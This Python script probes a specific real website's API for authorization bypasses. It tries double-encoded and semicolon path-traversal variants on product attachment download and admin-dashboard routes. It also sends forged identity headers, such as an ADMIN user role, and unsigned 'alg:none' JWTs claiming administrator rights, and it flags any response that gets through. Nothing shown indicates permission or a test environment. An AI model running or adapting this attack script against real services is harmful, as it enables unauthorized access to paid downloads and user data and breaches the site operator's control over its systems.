#!/usr/bin/env python3
import requests

BASE = "https://www.fansky.net"
UA = {"User-Agent": "Mozilla/5.0"}
s = requests.Session(); s.headers.update(UA); TIMEOUT=25

def req(method, path, **kw):
    try:
        r = s.request(method, BASE+path, timeout=TIMEOUT, allow_redirects=False, **kw)
        return r.status_code, r.text[:150].replace("\n"," "), dict(r.headers)
    except Exception as e:
        return -1, f"ERR:{e}", {}

def t(method, path, label="", **kw):
    code, body, h = req(method, path, **kw)
    mark=""
    if code==200: mark="  <<< 200"
    elif code not in (401,404,405,-1): mark=f"  <<< {code}"
    print(f"{label:34s} {method:6s} {path:85s} -> {code} {body[:80]}{mark}")
    return code, body, h

DL = "/api/v1/creator/products/61297/attachments/106/pre-signed-url"

print("===== DOUBLE-ENCODED traversal / decode-mismatch =====")
variants = [
    ("dd-dotdot", "/api/v1/creator/products/61297/attachments/106/..%2f..%2f..%2fcreator/test-download-url"),
    ("dd-dotdot2", "/api/v1/creator/products/61297/attachments/106%2f..%2f..%2f..%2f..%2flookup-data"),
    ("pct2e", "/api/v1/creator/products/61297/attachments/106/..%252f..%252f..%252fcreator/test-download-url"),
    ("dot-pct", "/api/v1/creator/products/61297/attachments/%2e%2e/106/pre-signed-url"),
    ("dot-pct2", "/api/v1/creator/products/61297/attachments/%2e%2e%2f106/pre-signed-url"),
    ("pct252e", "/api/v1/creator/products/61297/attachments/%252e%252e/106/pre-signed-url"),
    ("pct252e2", "/api/v1/creator/products/61297/attachments/%252e%252e%252f106/pre-signed-url"),
    ("dot-semi", "/api/v1/creator/products/61297/attachments/..;/106/pre-signed-url"),
    ("dot-semicolon2", "/api/v1/creator/products/61297/attachments/..;/../106/pre-signed-url"),
    ("multi-traverse", "/api/v1/creator/products/61297/attachments/106/../../../../creator/test-download-url"),
    ("traverse-to-lookup", "/api/v1/creator/products/61297/attachments/106/../../../../lookup-data"),
]
for label, p in variants:
    t("GET", p, label)

print()
print("===== double-encoded on admin =====")
t("GET","/api/v1/admin-dashboard/../admin-dashboard/users","adm-dotdot")
t("GET","/api/v1/admin-dashboard/%2e%2e/users","adm-pct2e")
t("GET","/api/v1/admin-dashboard/users%2f..","adm-trav")

print()
print("===== does lookup-data POST respond to auth-ish headers (req.user population)? =====")
hdrs = [
    ("Bearer-jwt", {"Authorization":"Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiIxIn0."}),
    ("x-user-id", {"X-User-Id":"1","X-User":"1","X-User-Role":"ADMIN"}),
    ("x-forwarded-user", {"X-Forwarded-User":"admin","X-Forwarded-Email":"a@a.com"}),
    ("cookie-sess", {"Cookie":"session=eyJ1c2VyIjp7InBlcm1pc3Npb25zIjpbXX19"}),
]
for label, h in hdrs:
    t("POST","/api/v1/lookup-data", "lookup+"+label, headers=h, json={"lookUpCode":"productCategory"})

print()
print("===== Authorization header on protected download (Bearer/token) =====")
t("POST", DL, "dl-bearer", headers={"Authorization":"Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiI4MCIsInJvbGUiOiJBRE1JTiJ9."}, json={"downloadMethod":"download"})
t("GET", "/api/v1/admin-dashboard/users", "adm-bearer", headers={"Authorization":"Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiI4MCIsInJvbGUiOiJBRE1JTiJ9."})
